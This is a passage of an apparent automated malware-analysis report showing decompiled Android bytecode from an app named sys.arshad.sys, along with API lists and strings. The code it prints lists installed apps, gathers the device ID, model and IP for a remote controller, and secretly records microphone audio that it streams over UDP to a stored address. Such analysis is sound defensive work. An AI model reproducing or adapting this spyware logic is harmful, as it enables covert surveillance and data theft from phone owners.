244invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
245move-result-object v1
247invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
249sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
251const-string v1, "1111111111111111111"
253invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 1111111111111111111
255iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
257iget-object v0, v0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
259iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
260iget v1, v0, Lsys/arshad/sys/MainActivity;->r:I
261add-int/lit8 v1, v1, 0x1
262iput v1, v0, Lsys/arshad/sys/MainActivity;->r:I
264sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
265new-instance v1, Ljava/lang/StringBuilder;
267invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
269const-string v2, ">>>>>>>>>"
271invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: >>>>>>>>>
272move-result-object v1
274iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$a$1;->b:Lsys/arshad/sys/MainActivity$b$a;
276iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
278iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
280invoke-static {v2}, Lsys/arshad/sys/MainActivity;->j(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
281move-result-object v2
283invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
284move-result-object v1
286invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
287move-result-object v1
289invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
290cond_161: return-void
291cond_162:
292sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
294const-string v1, "--111"
296invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: --111
297goto/16 :goto_161
APIs
  • java.lang.StringBuffer.<init>
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.pm.PackageManager.getInstalledPackages
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.getApplicationInfo
  • android.content.pm.PackageManager.getApplicationLabel
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.String.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
Strings
  • +++++
  • ||
  • [(0)sp]
  • [(0)Ln]
  • (unknown)
  • B25:::
  • [(0)tcp]
  • +++++B25:::
Position Instruction Meta Information
0new-instance v2, Ljava/lang/StringBuffer;
2invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
4iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$39;->a:Lsys/arshad/sys/MainActivity$b;
6iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
8invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
9move-result-object v0
10const/4 v1, 0x4
12invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
  • Data flow analysis:
    • flags: 4
13move-result-object v0
15invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
16move-result-object v3
17goto_16:
18invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
19move-result v0
20if-eqz v0, :cond_8c
22invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
23move-result-object v0
24check-cast v0, Landroid/content/pm/PackageInfo;
26iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$39;->a:Lsys/arshad/sys/MainActivity$b;
28iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
30invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
31move-result-object v1
33invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
34move-result-object v4
35try_start_2e:
36iget-object v1, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
37const/4 v5, 0x0
39invoke-virtual {v4, v1, v5}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
  • Data flow analysis:
    • flags: 0
40try_end_34: move-result-object v1
41goto_35: if-eqz v1, :cond_89
43invoke-virtual {v4, v1}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
44move-result-object v1
45goto_3b: check-cast v1, Ljava/lang/String;
46check-cast v1, Ljava/lang/String;
48sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream;
49new-instance v5, Ljava/lang/StringBuilder;
51invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
53const-string v6, "+++++"
55invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: +++++
56move-result-object v5
58iget-object v6, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
60invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v5
63const-string v6, " || "
65invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ||
66move-result-object v5
68invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
69move-result-object v5
71invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
72move-result-object v5
74invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
75new-instance v4, Ljava/lang/StringBuilder;
77invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
79invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
80move-result-object v1
82const-string v4, "[(0)sp]"
84invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
85move-result-object v1
87iget-object v0, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
89invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v0
92const-string v1, "[(0)Ln]"
94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
95move-result-object v0
97invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
98move-result-object v0
100invoke-virtual {v2, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
101goto/16 :goto_16
102catch_86: move-exception v1
103const/4 v1, 0x0
104goto/16 :goto_35
105cond_89:
106const-string v1, "(unknown)"
107goto/16 :goto_3b
108cond_8c: new-instance v0, Ljava/lang/String;
110invoke-direct {v0, v2}, Ljava/lang/String;-><init>(Ljava/lang/StringBuffer;)V
112iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$39;->a:Lsys/arshad/sys/MainActivity$b;
114iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
115new-instance v2, Ljava/lang/StringBuilder;
117invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
119const-string v3, "B25:::"
121invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B25:::
122move-result-object v2
124invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
125move-result-object v2
127const-string v3, "[(0)tcp]"
129invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
130move-result-object v2
132iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$39;->a:Lsys/arshad/sys/MainActivity$b;
134iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
136iget-object v3, v3, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
138invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
139move-result-object v2
141invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
142move-result-object v2
144invoke-virtual {v1, v2}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
146sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
147new-instance v2, Ljava/lang/StringBuilder;
149invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
151const-string v3, "+++++B25:::"
153invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: +++++B25:::
154move-result-object v2
156invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
157move-result-object v0
159const-string v2, "[(0)tcp]"
161invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
162move-result-object v0
164iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$39;->a:Lsys/arshad/sys/MainActivity$b;
166iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
168iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
170invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
171move-result-object v0
173invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
174move-result-object v0
176invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
177return-void
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getDeviceId
  • sys.arshad.sys.MainActivity.g
  • sys.arshad.sys.MainActivity.getSystemService
  • android.net.wifi.WifiManager.getConnectionInfo
  • android.net.wifi.WifiInfo.getIpAddress
  • android.text.format.Formatter.formatIpAddress
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • sys.arshad.sys.MainActivity.h
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • sys.arshad.sys.MainActivity.a
Strings
  • phone
  • ..
  • wifi
  • [(0)ar]
  • @
  • _
  • IP: /
  • | IP External:
  • !s!c!r!e!a!m!
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
3const-string v1, "phone"
5invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: phone
6move-result-object v0
7check-cast v0, Landroid/telephony/TelephonyManager;
9invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
10move-result-object v0
11if-nez v0, :cond_c6
13iget-object v0, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
15invoke-static {v0}, Lsys/arshad/sys/MainActivity;->g(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
16move-result-object v0
17move-object v1, v0
18goto_17:
19const-string v2, ".."
21sget-object v3, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
23sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
25iget-object v0, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
27const-string v5, "wifi"
29invoke-virtual {v0, v5}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: wifi
30move-result-object v0
31check-cast v0, Landroid/net/wifi/WifiManager;
33invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
34move-result-object v0
36invoke-virtual {v0}, Landroid/net/wifi/WifiInfo;->getIpAddress()I
37move-result v0
39invoke-static {v0}, Landroid/text/format/Formatter;->formatIpAddress(I)Ljava/lang/String;
40move-result-object v0
42const-string v5, "[(0)ar]"
44const-string v6, "@"
46const-string v7, ""
48invoke-virtual {v1, v6, v7}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: @
49move-result-object v1
51const-string v6, "@"
53const-string v7, ""
55invoke-virtual {v2, v6, v7}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: @
56move-result-object v2
58const-string v6, "@"
60const-string v7, ""
62invoke-virtual {v4, v6, v7}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: @
63move-result-object v4
64new-instance v6, Ljava/lang/StringBuilder;
66invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
68iget-object v7, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
70invoke-static {v7}, Lsys/arshad/sys/MainActivity;->h(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
71move-result-object v7
73invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74move-result-object v6
76const-string v7, "_"
78invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: _
79move-result-object v6
81invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v1
84invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
85move-result-object v1
87const-string v6, "IP: /"
89invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: IP: /
90move-result-object v1
92invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
93move-result-object v0
95const-string v1, " | IP External: "
97invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: | IP External:
98move-result-object v0
100const-string v1, "!s!c!r!e!a!m!"
102invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: !s!c!r!e!a!m!
103move-result-object v0
105invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
106move-result-object v0
108const-string v1, ""
110invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
111move-result-object v0
113invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
114move-result-object v0
116invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
117move-result-object v0
119invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
120move-result-object v0
122invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
123move-result-object v0
125invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
126move-result-object v0
128invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
129move-result-object v0
131invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
132move-result-object v0
134const-string v1, ".."
136invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ..
137move-result-object v0
139invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)ar]
140move-result-object v0
142const-string v1, ".."
144invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ..
145move-result-object v0
147invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
148move-result-object v0
150iget-object v1, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
152invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
154iget-object v0, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
155const/4 v1, 0x1
157invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Z)Z
  • Data flow analysis:
    • p1: 1
158return-void
159cond_c6: move-object v1, v0
160goto/16 :goto_17
APIs
  • java.net.DatagramSocket.<init>
  • android.util.Log.d
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • java.net.InetAddress.getByName
  • android.util.Log.d
  • sys.arshad.sys.MainActivity.q
  • sys.arshad.sys.MainActivity.r
  • sys.arshad.sys.MainActivity.s
  • android.media.AudioRecord.<init>
  • android.util.Log.d
  • android.media.AudioRecord.startRecording
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • sys.arshad.sys.MainActivity.t
  • android.media.AudioRecord.read
  • java.net.DatagramPacket.<init>
  • java.net.DatagramSocket.send
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • android.util.Log.e
  • java.io.IOException.printStackTrace
  • android.util.Log.e
Strings
  • VS
  • Socket Created<<<<<<<<<
  • Buffer created of size<<<<<<<<<
  • Address retrieved<<<<<<<<<
  • Recorder initialized<<<<<<<<<
  • B24:::R-0[(0)tcp]
  • MinBufferSize:<<<<<<<<<
  • UnknownHostException<<<<<<<<<
  • IOException<<<<<<<<<
Position Instruction Meta Information
0const/4 v10, 0x1
1try_start_1: new-instance v6, Ljava/net/DatagramSocket;
3invoke-direct {v6}, Ljava/net/DatagramSocket;-><init>()V
5const-string v0, "VS"
7const-string v1, "Socket Created<<<<<<<<<"
9invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VS
    • msg: Socket Created<<<<<<<<<
11iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
13iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
14iget v0, v0, Lsys/arshad/sys/MainActivity;->b:I
15new-array v7, v0, [B
17const-string v0, "VS"
18new-instance v1, Ljava/lang/StringBuilder;
20invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
22const-string v2, "Buffer created of size<<<<<<<<< "
24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Buffer created of size<<<<<<<<<
25move-result-object v1
27iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
29iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
30iget v2, v2, Lsys/arshad/sys/MainActivity;->b:I
32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
33move-result-object v1
35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v1
38invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VS
40iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
42iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
44iget-object v0, v0, Lsys/arshad/sys/MainActivity;->f:Ljava/lang/String;
46invoke-static {v0}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
47move-result-object v8
49const-string v0, "VS"
51const-string v1, "Address retrieved<<<<<<<<<"
53invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VS
    • msg: Address retrieved<<<<<<<<<
55iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
57iget-object v9, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
58new-instance v0, Landroid/media/AudioRecord;
59const/4 v1, 0x1
61iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
63iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
65invoke-static {v2}, Lsys/arshad/sys/MainActivity;->q(Lsys/arshad/sys/MainActivity;)I
66move-result v2
68iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
70iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
72invoke-static {v3}, Lsys/arshad/sys/MainActivity;->r(Lsys/arshad/sys/MainActivity;)I
73move-result v3
75iget-object v4, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
77iget-object v4, v4, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
79invoke-static {v4}, Lsys/arshad/sys/MainActivity;->s(Lsys/arshad/sys/MainActivity;)I
80move-result v4
82iget-object v5, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
84iget-object v5, v5, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
85iget v5, v5, Lsys/arshad/sys/MainActivity;->b:I
86mul-int/lit8 v5, v5, 0xa
88invoke-direct/range {v0 .. v5}, Landroid/media/AudioRecord;-><init>(IIIII)V
  • Data flow analysis:
    • p0: 1
89iput-object v0, v9, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
91const-string v0, "VS"
93const-string v1, "Recorder initialized<<<<<<<<<"
95invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VS
    • msg: Recorder initialized<<<<<<<<<
97iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
99iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
101iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
103invoke-virtual {v0}, Landroid/media/AudioRecord;->startRecording()V
105iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
107iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
108new-instance v1, Ljava/lang/StringBuilder;
110invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
112const-string v2, "B24:::R-0[(0)tcp]"
114invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B24:::R-0[(0)tcp]
115move-result-object v1
117iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
119iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
121iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
123invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
124move-result-object v1
126invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
127move-result-object v1
129invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
130goto_a0:
131iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
133iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
135invoke-static {v0}, Lsys/arshad/sys/MainActivity;->t(Lsys/arshad/sys/MainActivity;)Z
136move-result v0
137if-ne v0, v10, :cond_f2
139iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
141iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
143iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
145iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
147iget-object v1, v1, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
148const/4 v2, 0x0
149array-length v3, v7
151invoke-virtual {v1, v7, v2, v3}, Landroid/media/AudioRecord;->read([BII)I
  • Data flow analysis:
    • offsetInBytes: 0
152move-result v1
153iput v1, v0, Lsys/arshad/sys/MainActivity;->b:I
154new-instance v0, Ljava/net/DatagramPacket;
155array-length v1, v7
157iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
159iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
160iget v2, v2, Lsys/arshad/sys/MainActivity;->g:I
162invoke-direct {v0, v7, v1, v8, v2}, Ljava/net/DatagramPacket;-><init>([BILjava/net/InetAddress;I)V
164invoke-virtual {v6, v0}, Ljava/net/DatagramSocket;->send(Ljava/net/DatagramPacket;)V
166sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
167new-instance v1, Ljava/lang/StringBuilder;
169invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
171const-string v2, "MinBufferSize:<<<<<<<<< "
173invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: MinBufferSize:<<<<<<<<<
174move-result-object v1
176iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
178iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
179iget v2, v2, Lsys/arshad/sys/MainActivity;->b:I
181invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
182move-result-object v1
184invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
185move-result-object v1
187invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
188try_end_e9: goto/16 :goto_a0
189catch_ea: move-exception v0
191const-string v0, "VS"
193const-string v1, "UnknownHostException<<<<<<<<<"
195invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VS
    • msg: UnknownHostException<<<<<<<<<
196goto_f2: return-void
197catch_f3: move-exception v0
199invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
201const-string v0, "VS"
203const-string v1, "IOException<<<<<<<<<"
